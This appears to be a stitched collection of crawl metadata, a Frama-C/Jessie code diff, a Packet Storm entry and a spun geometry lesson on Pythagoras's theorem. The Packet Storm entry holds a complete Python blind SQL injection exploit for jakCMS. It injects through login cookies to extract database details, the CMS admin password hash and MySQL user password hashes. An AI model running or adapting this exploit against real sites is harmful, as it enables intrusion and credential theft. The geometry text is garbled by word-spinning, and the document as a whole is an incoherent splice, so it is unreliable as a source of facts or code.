22595,
22596,
22683,
22684,
22735,
22773,
22853,
22854,
22918,
22919,
23125,
23126,
23135,
23136,
23178,
23179,
23199,
23200,
23202,
23219,
23220,
23244,
23245,
23264,
23265,
23280,
23361,
23438
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 23438,
"ccnet_original_nlines": 486,
"rps_doc_curly_bracket": 0.0019626200664788485,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2762126624584198,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.013344629667699337,
"rps_doc_frac_lines_end_with_ellipsis": 0.002053390024229884,
"rps_doc_frac_no_alph_words": 0.2957000732421875,
"rps_doc_frac_unique_words": 0.31612470746040344,
"rps_doc_mean_word_length": 5.883674144744873,
"rps_doc_num_sentences": 432,
"rps_doc_symbol_to_word_ratio": 0.00021182000637054443,
"rps_doc_unigram_entropy": 6.02739143371582,
"rps_doc_word_count": 2983,
"rps_doc_frac_chars_dupe_10grams": 0.05851517990231514,
"rps_doc_frac_chars_dupe_5grams": 0.14363853633403778,
"rps_doc_frac_chars_dupe_6grams": 0.12688736617565155,
"rps_doc_frac_chars_dupe_7grams": 0.11241524666547775,
"rps_doc_frac_chars_dupe_8grams": 0.10113383829593658,
"rps_doc_frac_chars_dupe_9grams": 0.08483847230672836,
"rps_doc_frac_chars_top_2gram": 0.01196513045579195,
"rps_doc_frac_chars_top_3gram": 0.003988380078226328,
"rps_doc_frac_chars_top_4gram": 0.00655233021825552,
"rps_doc_books_importance": -2062.86962890625,
"rps_doc_books_importance_length_correction": -2062.86962890625,
"rps_doc_openwebtext_importance": -1291.4691162109375,
"rps_doc_openwebtext_importance_length_correction": -1291.4691162109375,
"rps_doc_wikipedia_importance": -1091.635498046875,
"rps_doc_wikipedia_importance_length_correction": -1091.635498046875
},
"fasttext": {
"dclm": 0.18587523698806763,
"english": 0.7824567556381226,
"fineweb_edu_approx": 2.752347946166992,
"eai_general_math": 0.7708408236503601,
"eai_open_web_math": 0.2189335823059082,
"eai_web_code": 0.7466583251953125
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "794.8",
"labels": {
"level_1": "Arts",
"level_2": "Amusements and Recreation",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-7,727,424,397,516,682,000 |
diff --git a/src/jessie/ACSLtoWhy3.ml b/src/jessie/ACSLtoWhy3.ml index 933aab137f8d111c82e45710d5bb362a849bcebd..c077c1fb6f9c33beea38e89072269f06340533c4 100644 --- a/src/jessie/ACSLtoWhy3.ml +++ b/src/jessie/ACSLtoWhy3.ml @@ -74,6 +74,24 @@ let ctype ty = let logic_types = Hashtbl.create 257 +let type_vars = ref [] + +let find_type_var v = + try + List.assoc v !type_vars + with Not_found -> Self.fatal "type variable %s not found" v + +let push_type_var v = + let tv = Ty.create_tvsymbol (Ident.id_fresh v) in + type_vars := (v,tv) :: !type_vars + +let pop_type_var v = + match !type_vars with + | (w,_) :: r -> + if v=w then type_vars := r + else Self.fatal "pop_type_var: %s expected,found %s" v w + | [] -> Self.fatal "pop_type_var: empty" + let rec logic_type ty = match ty with | Linteger -> int_type @@ -85,7 +103,7 @@ let rec logic_type ty = Ty.ty_app ts (List.map logic_type args) with Not_found -> Self.fatal "logic type %s not found" lt.lt_name end - | Lvar _ + | Lvar v -> Ty.ty_var (find_type_var v) | Ctype _ | Larrow (_, _) -> Self.not_yet_implemented "logic_type" @@ -302,18 +320,27 @@ let rec annot ~in_axiomatic a _loc (theories,decls) = (theories,d::decls) | Dfun_or_pred (li, _loc) -> begin - match li.l_labels, li.l_tparams,li.l_body with - | [],[],LBnone -> - let ls,_ = create_lsymbol li in - (theories,Decl.create_param_decl ls :: decls) - | [],[],LBterm d -> - let ls,args = create_lsymbol li in - let (_ty,d) = term d in - let def = Decl.make_ls_defn ls args d in - (theories,Decl.create_logic_decl [def] :: decls) + match li.l_labels with + | [] -> + List.iter push_type_var li.l_tparams; + let d = + match li.l_body with + | LBnone -> + let ls,_ = create_lsymbol li in + Decl.create_param_decl ls + | LBterm d -> + let ls,args = create_lsymbol li in + let (_ty,d) = term d in + let def = Decl.make_ls_defn ls args d in + Decl.create_logic_decl [def] + | _ -> + Self.not_yet_implemented "Dfun_or_pred, other bodies" + in + List.iter pop_type_var (List.rev li.l_tparams); + (theories,d :: decls) + | _ -> - Self.not_yet_implemented "Dfun_or_pred with labels or vars" - + Self.not_yet_implemented "Dfun_or_pred with labels" end | Dlemma(name,is_axiom,labels,vars,p,loc) -> begin diff --git a/src/jessie/tests/basic/generic.c b/src/jessie/tests/basic/generic.c index 7d8c36e469fe3eb3628b2fe6046731842e718266..3b829952102ede6e50f3c00f0e9e4c22612194a5 100644 --- a/src/jessie/tests/basic/generic.c +++ b/src/jessie/tests/basic/generic.c @@ -1,17 +1,32 @@ +/* run.config + OPT: -journal-disable -jessie3 +*/ + /*@ axiomatic Bag { @ type bag; - @ // logic integer occ( x, bag b); - @ // axiom extensionality: \forall bag b1,b2; - @ // (\forall x, occ(x,b1) == occ(x,b2)) ==> b1 == b2; - @ // logic bag singleton( x); - @ // axiom occ_singleton_eq: \forall x; - @ // occ(x,singleton(x)) == 1; - @ // axiom occ_singleton_neq: \forall x,y; - @ // x != y ==> occ(x,singleton(y)) == 0; - @ // logic bag bag_union(bag b1,bag b2); - @ // axiom occ_union: \forall x, bag b1,b2; - @ // occ(x,union(b1,b2)) == occ(x,b1) + occ(x,b2); - @ lemma l2: f1(1) == 2; + @ logic integer occ(X x, bag b); + @ // axiom extensionality: \forall bag b1,b2; + @ // (\forall X x; occ(x,b1) == occ(x,b2)) ==> b1 == b2; + @ logic bag empty; + @ + @ logic bag singleton(X x); + @ // axiom occ_singleton_eq: \forall X x; + @ // occ(x,singleton(x)) == 1; + @ // axiom occ_singleton_neq: \forall X x,y; + @ // x != y ==> occ(x,singleton(y)) == 0; + @ logic bag bag_union(bag b1,bag b2); + @ // axiom occ_union: \forall X x, bag b1,b2; + @ // occ(x,bag_union(b1,b2)) == occ(x,b1) + occ(x,b2); @ } @*/ + + + + + +/* +Local Variables: +compile-command: "frama-c -add-path ../.. -jessie3 generic.c" +End: +*/
|
{
"url": "https://gitlab.inria.fr/why3/why3/-/commit/1a1d2bea00badc1be081d40211cca4cfd8a6f637.diff",
"source_domain": "gitlab.inria.fr",
"snapshot_id": "crawl=CC-MAIN-2020-24",
"warc_metadata": {
"Content-Length": "5445",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:CHBDIXPFKBULOOXS2ZNF335H54EXTMCM",
"WARC-Concurrent-To": "<urn:uuid:b05c3711-43e4-4aad-9b83-91781d25ef9f>",
"WARC-Date": "2020-05-30T03:18:31Z",
"WARC-IP-Address": "128.93.193.8",
"WARC-Identified-Payload-Type": "text/x-diff",
"WARC-Payload-Digest": "sha1:AAI4YXPYYZAASI6MDY5HZYTDXIFF2WB5",
"WARC-Record-ID": "<urn:uuid:5950bd9f-e406-4d52-b49b-7d0c76820766>",
"WARC-Target-URI": "https://gitlab.inria.fr/why3/why3/-/commit/1a1d2bea00badc1be081d40211cca4cfd8a6f637.diff",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:d2d63664-876a-43f8-b45c-8b667f94bc89>"
},
"warc_info": "isPartOf: CC-MAIN-2020-24\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May/June 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-9.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0
],
"line_end_idx": [
3694
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 3694,
"ccnet_original_nlines": 0,
"rps_doc_curly_bracket": 0.0005414200131781399,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.12290503084659576,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0065176901407539845,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.540037214756012,
"rps_doc_frac_unique_words": 0.41436463594436646,
"rps_doc_mean_word_length": 6.411602020263672,
"rps_doc_num_sentences": 51,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.631766319274902,
"rps_doc_word_count": 362,
"rps_doc_frac_chars_dupe_10grams": 0.158552348613739,
"rps_doc_frac_chars_dupe_5grams": 0.26626452803611755,
"rps_doc_frac_chars_dupe_6grams": 0.24342955648899078,
"rps_doc_frac_chars_dupe_7grams": 0.20723825693130493,
"rps_doc_frac_chars_dupe_8grams": 0.158552348613739,
"rps_doc_frac_chars_dupe_9grams": 0.158552348613739,
"rps_doc_frac_chars_top_2gram": 0.021111590787768364,
"rps_doc_frac_chars_top_3gram": 0.02929772064089775,
"rps_doc_frac_chars_top_4gram": 0.014648860320448875,
"rps_doc_books_importance": -346.5428466796875,
"rps_doc_books_importance_length_correction": -346.5428466796875,
"rps_doc_openwebtext_importance": -240.60348510742188,
"rps_doc_openwebtext_importance_length_correction": -240.60348510742188,
"rps_doc_wikipedia_importance": -174.71630859375,
"rps_doc_wikipedia_importance_length_correction": -174.71630859375
},
"fasttext": {
"dclm": 0.9108773469924927,
"english": 0.41615647077560425,
"fineweb_edu_approx": 1.0464072227478027,
"eai_general_math": 0.8278151154518127,
"eai_open_web_math": 0.6045129299163818,
"eai_web_code": 0.8644943237304688
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.0151",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "3",
"label": "Academic Writing"
}
},
"reasoning_depth": {
"primary": {
"code": "4",
"label": "Advanced Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-6,947,183,753,700,567,000 |
jakCMS 2.01 RC1 Blind SQL Injection
2011-02-21T00:00:00
ID PACKETSTORM:98627
Type packetstorm
Reporter mr_me
Modified 2011-02-21T00:00:00
Description
`#!/usr/bin/python
#
# jakCMS <= v2.01 RC1 Blind SQL Injection Exploit
#
# Understanding:
# The parameters 'JAK_COOKIE_NAME' and 'JAK_COOKIE_PASS' are parsed via cookies to the application
# and are unchecked for malicious characters. The contents of these variables are directly inserted into an
# SQL statement, leading to SQL Injection vulnerabilities.
#
# Notes:
# 1. PoC written to only work with the latest version. However, vuln exists in all versions.
# 2. The admin password is encrypted as a sha256 with a unique HMAC. However the default value is set to ''.
#
# [mr_me@pluto jak]$ python jakcmsSQLInjectionExploit.py -p localhost:8080 -t 192.168.1.7 -d /webapps/jak/
#
# | ----------------------------------------- |
# | JAKcms Remote Blind SQL Injection Explo!t |
# | by mr_me - net-ninja.net ---------------- |
#
# (+) Testing proxy @ localhost:8080.. proxy is found to be working!
# (+) Using 'upload/admin' value for the true page
# (+) This will take time, go grab a coffee..
#
# (!) Getting database version: 5.1.41-3ubuntu12.9
# (!) Getting database user: root@localhost
# (!) Getting database name: jak
# (!) Getting JakCMS administrative account: admin:98b1d8e3f0ae03888a87bba62bdaf9adf02c78e9c98cfc8c3f46ed7b428dd64b
# (!) w00t! You have access to MySQL database!
# (+) Dumping hashs hold onto your knickers..
# (+) The username and hashed password is: root:*EE4E2773D7530819563F0DC6FCE27446A51C9413
# (+) PoC finished.
import sys
import urllib
import re
import urllib2
from optparse import OptionParser
usage = "./%prog [<options>] -t [target] -d [directory]"
usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.1.7 -d /webapps/jak/"
parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
help="HTTP Proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
help="The Target server <server:port>")
parser.add_option("-d", type="string", action="store", dest="dirPath",
help="Directory path to the CMS")
(options, args) = parser.parse_args()
def banner():
print "\n\t| ----------------------------------------- |"
print "\t| JAKcms Remote Blind SQL Injection Explo!t |"
print "\t| by mr_me - net-ninja.net ---------------- |\n"
if len(sys.argv) < 5:
banner()
parser.print_help()
sys.exit(1)
# set the stage........
trueStr = "upload/admin"
page = "index.php"
basicInfo = {'version':'version()', 'user':'user()', 'name':'database()'}
lower_value = 0
upper_value = 126
# test before we hit our target
def testProxy():
check = 1
sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))
sys.stdout.flush()
try:
req = urllib2.Request("http://www.google.com/")
req.set_proxy(options.proxy,"http")
check = urllib2.urlopen(req)
except:
check = 0
pass
if check != 0:
sys.stdout.write("proxy is found to be working!\n")
sys.stdout.flush()
else:
print "proxy failed, exiting.."
sys.exit(1)
# handles all requests to the target server
def getServerResponse(exploit, header=None, data=None):
try:
headers = {}
headers['Cookie'] = header
req = urllib2.Request(exploit, data, headers)
if options.proxy:
req.set_proxy(options.proxy,"http")
check = urllib2.urlopen(req).read()
except urllib.error.HTTPError, error:
check = error.read()
except urllib.error.URLError:
print "(-) Target connection failed, check your address"
sys.exit(1)
return check
# modified version of rsauron's function
# thanks bro.
def getAsciiValue(URI, data):
lower = lower_value
upper = upper_value
while lower < upper:
try:
mid = (lower + upper) / 2
header = data + ">"+str(mid)+"--+;"
result = getServerResponse(URI, header)
match = re.findall(trueStr,result)
if len(match) >= 1:
lower = mid + 1
else:
upper = mid
except (KeyboardInterrupt, SystemExit):
raise
except:
pass
if lower > lower_value and lower < upper_value:
value = lower
else:
header = data + "="+str(lower) +"-- ;"
result = getServerResponse(URI, header)
match = re.findall(trueStr,result)
if len(match) > 1:
value = lower
else:
print "\n(-) READ xprog's blind sql tutorial!\n"
sys.exit(1)
return value
# Do our blind attacks
def doBlindSqli():
data = "JAK_COOKIE_PASS=test; JAK_COOKIE_NAME=admin"
request = ("http://"+options.target+options.dirPath + page)
print "(+) Using '%s' value for the true page" % (trueStr)
print "(+) This will take time, go grab a coffee.."
for key in basicInfo:
sys.stdout.write("\n(!) Getting database %s: " % (key))
sys.stdout.flush()
# it will never go through all 50 iterations. \0/ lazy.
for i in range(1,50):
getBasicInfo = (data+"\"))+and+ascii(substring(%s,%s,1))" % (basicInfo[key],str(i)))
asciival = getAsciiValue(request, getBasicInfo)
if asciival >= 0:
sys.stdout.write("%s" % (chr(asciival)))
sys.stdout.flush()
else:
break
# get JAKCMS admin account data
sys.stdout.write("\n(!) Getting JakCMS administrative account: ")
sys.stdout.flush()
for i in range(1,100):
getUserAndPass = (data+"\"))+and+ascii(substring((SELECT+concat(username,0x3a,password)+from+"
"user+limit+0,1),%s,1))" % str(i))
asciival = getAsciiValue(request, getUserAndPass)
if asciival != 0:
sys.stdout.write("%s" % (chr(asciival)))
sys.stdout.flush()
else:
pass
# if we are lucky, get the mysql user/pass
isMysqlUser = (data+"\"))+and+(select+1+from+mysql.user+limit+0,1)=1--+")
result = getServerResponse(request, isMysqlUser)
match = re.findall(trueStr,result)
if len(match) >= 1:
print "\n(!) w00t! You have access to MySQL database!"
print "(+) Dumping hashs hold onto your knickers.."
sys.stdout.write("(+) The username and hashed password is: ")
sys.stdout.flush()
for k in range(1,100):
getMysqlUserAndPass = (data+"\"))+and+ascii(substring((SELECT+concat(user,0x3a,password)+from+"
"mysql.user+limit+0,1),%s,1))" % str(k))
asciival = getAsciiValue(request, getMysqlUserAndPass)
if asciival != 0:
sys.stdout.write("%s" % (chr(asciival)))
sys.stdout.flush()
else:
break
sys.stdout.write("\n(+) PoC finished.\n")
sys.stdout.flush()
else:
print "\n(-) You do not have access to MySQL database"
def main():
banner()
if options.proxy:
testProxy()
doBlindSqli()
if __name__ == "__main__":
main()
`
|
{
"url": "https://vulners.com/packetstorm/PACKETSTORM:98627",
"source_domain": "vulners.com",
"snapshot_id": "crawl=CC-MAIN-2019-04",
"warc_metadata": {
"Content-Length": "38255",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:ASALXS3ROMLGXKIGMWYJ3ZIPLXOLXIFP",
"WARC-Concurrent-To": "<urn:uuid:d4a3fd12-e492-4cd9-ab5d-3a3cef6daa77>",
"WARC-Date": "2019-01-18T12:51:25Z",
"WARC-IP-Address": "178.248.236.150",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:XYNHJLZLDWVCE75UQEMO4KUWPPVOWGPO",
"WARC-Record-ID": "<urn:uuid:b0a70ffc-4c1e-4f65-af2b-fc7dfa33cc3c>",
"WARC-Target-URI": "https://vulners.com/packetstorm/PACKETSTORM:98627",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:cc1ec870-490a-47ec-bd34-3b69ca00d4d5>"
},
"warc_info": "isPartOf: CC-MAIN-2019-04\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-140-252-72.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
1,
37,
38,
58,
79,
96,
111,
140,
141,
153,
154,
195,
260,
264,
319,
323,
342,
443,
553,
614,
618,
629,
724,
835,
839,
948,
952,
1002,
1052,
1102,
1106,
1177,
1230,
1278,
1282,
1335,
1381,
1416,
1534,
1583,
1631,
1723,
1745,
1748,
1761,
1777,
1789,
1806,
1842,
1845,
1910,
1992,
1995,
2032,
2102,
2143,
2215,
2263,
2336,
2372,
2375,
2415,
2418,
2434,
2494,
2552,
2612,
2615,
2642,
2653,
2675,
2689,
2692,
2718,
2745,
2766,
2842,
2860,
2880,
2883,
2917,
2936,
2948,
3014,
3035,
3042,
3092,
3130,
3161,
3171,
3183,
3190,
3207,
3261,
3282,
3290,
3324,
3338,
3341,
3387,
3445,
3452,
3467,
3496,
3544,
3564,
3602,
3605,
3644,
3684,
3707,
3739,
3798,
3812,
3827,
3830,
3833,
3876,
3892,
3924,
3946,
3968,
3994,
4001,
4029,
4070,
4112,
4149,
4174,
4192,
4200,
4214,
4256,
4264,
4274,
4281,
4284,
4340,
4356,
4364,
4405,
4447,
4484,
4508,
4524,
4532,
4583,
4597,
4612,
4615,
4640,
4661,
4716,
4778,
4839,
4893,
4917,
4975,
4996,
4999,
5057,
5081,
5168,
5218,
5241,
5284,
5305,
5313,
5321,
5324,
5358,
5426,
5447,
5472,
5569,
5606,
5609,
5661,
5664,
5684,
5727,
5748,
5756,
5763,
5766,
5811,
5887,
5938,
5975,
6000,
6057,
6111,
6175,
6196,
6221,
6319,
6362,
6419,
6439,
6482,
6503,
6511,
6519,
6563,
6584,
6592,
6649,
6652,
6655,
6669,
6680,
6700,
6714,
6730,
6733,
6762,
6771,
6774
],
"line_end_idx": [
1,
37,
38,
58,
79,
96,
111,
140,
141,
153,
154,
195,
260,
264,
319,
323,
342,
443,
553,
614,
618,
629,
724,
835,
839,
948,
952,
1002,
1052,
1102,
1106,
1177,
1230,
1278,
1282,
1335,
1381,
1416,
1534,
1583,
1631,
1723,
1745,
1748,
1761,
1777,
1789,
1806,
1842,
1845,
1910,
1992,
1995,
2032,
2102,
2143,
2215,
2263,
2336,
2372,
2375,
2415,
2418,
2434,
2494,
2552,
2612,
2615,
2642,
2653,
2675,
2689,
2692,
2718,
2745,
2766,
2842,
2860,
2880,
2883,
2917,
2936,
2948,
3014,
3035,
3042,
3092,
3130,
3161,
3171,
3183,
3190,
3207,
3261,
3282,
3290,
3324,
3338,
3341,
3387,
3445,
3452,
3467,
3496,
3544,
3564,
3602,
3605,
3644,
3684,
3707,
3739,
3798,
3812,
3827,
3830,
3833,
3876,
3892,
3924,
3946,
3968,
3994,
4001,
4029,
4070,
4112,
4149,
4174,
4192,
4200,
4214,
4256,
4264,
4274,
4281,
4284,
4340,
4356,
4364,
4405,
4447,
4484,
4508,
4524,
4532,
4583,
4597,
4612,
4615,
4640,
4661,
4716,
4778,
4839,
4893,
4917,
4975,
4996,
4999,
5057,
5081,
5168,
5218,
5241,
5284,
5305,
5313,
5321,
5324,
5358,
5426,
5447,
5472,
5569,
5606,
5609,
5661,
5664,
5684,
5727,
5748,
5756,
5763,
5766,
5811,
5887,
5938,
5975,
6000,
6057,
6111,
6175,
6196,
6221,
6319,
6362,
6419,
6439,
6482,
6503,
6511,
6519,
6563,
6584,
6592,
6649,
6652,
6655,
6669,
6680,
6700,
6714,
6730,
6733,
6762,
6771,
6774,
6775
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 6775,
"ccnet_original_nlines": 218,
"rps_doc_curly_bracket": 0.0005904100253246725,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.125,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.017219390720129013,
"rps_doc_frac_lines_end_with_ellipsis": 0.004566209856420755,
"rps_doc_frac_no_alph_words": 0.4783163368701935,
"rps_doc_frac_unique_words": 0.46422892808914185,
"rps_doc_mean_word_length": 6.9109697341918945,
"rps_doc_num_sentences": 131,
"rps_doc_symbol_to_word_ratio": 0.02678571082651615,
"rps_doc_unigram_entropy": 5.384157180786133,
"rps_doc_word_count": 629,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.18311479687690735,
"rps_doc_frac_chars_dupe_6grams": 0.16862204670906067,
"rps_doc_frac_chars_dupe_7grams": 0.08649642765522003,
"rps_doc_frac_chars_dupe_8grams": 0.0464688315987587,
"rps_doc_frac_chars_dupe_9grams": 0.03312629088759422,
"rps_doc_frac_chars_top_2gram": 0.00920175015926361,
"rps_doc_frac_chars_top_3gram": 0.01564297080039978,
"rps_doc_frac_chars_top_4gram": 0.011732229962944984,
"rps_doc_books_importance": -806.8095703125,
"rps_doc_books_importance_length_correction": -806.8095703125,
"rps_doc_openwebtext_importance": -491.82330322265625,
"rps_doc_openwebtext_importance_length_correction": -491.82330322265625,
"rps_doc_wikipedia_importance": -403.2473449707031,
"rps_doc_wikipedia_importance_length_correction": -403.2473449707031
},
"fasttext": {
"dclm": 0.9609812498092651,
"english": 0.4008297920227051,
"fineweb_edu_approx": 2.8368728160858154,
"eai_general_math": 0.891471803188324,
"eai_open_web_math": 0.0765005424618721,
"eai_web_code": 0.9474118947982788
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.82",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "4",
"label": "Advanced Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
7,059,199,117,437,571,000 |
SOTEPP –
For the true purpose of this module, we shall accept this new legitimacy of one's converse instead proving it
Responsive image
For the true purpose of this module, we shall accept this new legitimacy of one’s converse instead proving it
The fresh converse away from Pythagorass theorem is also correct; that’s, when your amount of this new squares out of a few sides out-of a beneficial triangle is equivalent to brand new rectangular of your own other hand, then the triangle is good–angled.
In reality, because of the Pythagorean relationships one to exists between the corners off a right–angled triangle, the fresh ratio of every a few front side lengths is sufficient to influence ? and you will choose the class of similar triangles to which a great given correct–angled triangle belongs
? New angles of a beneficial triangle try forty five°, 90° and you may forty-five° as well as 2 of your edges (that is, those individuals edges contrary brand new forty five° angles) have lengths out-of ten meters. What is the period of brand new hypotenuse?
? Brand new hypotenuse off the right–tilted triangle are 7 meters enough time while you are among the many other corners are out of size step 3 m. What is the duration of the remaining side?
? If we denote the length of the remaining side by x, then, from Pythagorass theorem, 7 2m 2 = 3 2m 2 + x 2 , so that x 2 = (7 2 ? 3 2 ) m 2 = (49 ? 9) m 2 = 40 m 2 and therefore x = $\sqrt$ m = 6.32 m (to two decimal places).
The corners of some proper–angled triangles is shown entirely when it comes to integers; probably the most popular ‘s the step three : cuatro : 5 triangle where in fact the hypotenuse features duration 5 gadgets therefore the almost every other a couple corners possess lengths 3 and cuatro devices: step three 2 + 4 dos = 5 dos .
Mention Regarding rest of so it component we are going to not usually show lengths in any brand of gadgets. Simply because our company is fundamentally interested just on rates away from lengths. Naturally, if you find yourself provided genuine bodily issues, you need to mount appropriate products to lengths.
In the event your hypotenuse out-of a right–angled triangle was branded, an excellent, while the most other a few corners is actually b and c, then:
dos.step 3 The trigonometric ratios
Contour eight Particular comparable triangles. Each triangle comes with the same indoor bases, as well as the lengths of your edges of every you to triangle was in the same proportion to one another (2 : 3 : cuatro in this instance) while the lengths of your own corners of every of most other similar triangles. (Talking about not to ever measure.)
In the previous subsection, i showed that new rates of one’s lengths of your own corners out-of a great triangle was in fact have a tendency to from so much more attention compared to the real lengths themselves. Shape 7 shows certain equivalent triangles, we.age. triangles which can be an equivalent profile however, different sizes – quite simply, triangles with involved basics that are equivalent however with associated corners of various lengths. Even though the lengths of the sides of any one to triangle could possibly get range from those of any similar triangle, the percentages of one’s front lengths are exactly the same within the per triangle – particularly, for each triangle within the Profile 7 has sides whoever lengths have been in the brand new ratio 2 : step three : 4. In future, once we point out that 2 or more triangles was comparable i would mean it in the technology sense they’ve the fresh same indoor angles and front lengths that will be in the same ratio.
Shape 8 suggests a right–angled triangle where a direction ? could have been designated to have style of notice additionally the opposite side and you may surrounding front to this direction was recognized. Ergo the 3 edges is called the alternative, the fresh adjoining in addition to hypotenuse, and in addition we may use these types of words or the characters o, a and you will h to mention on their particular lengths.
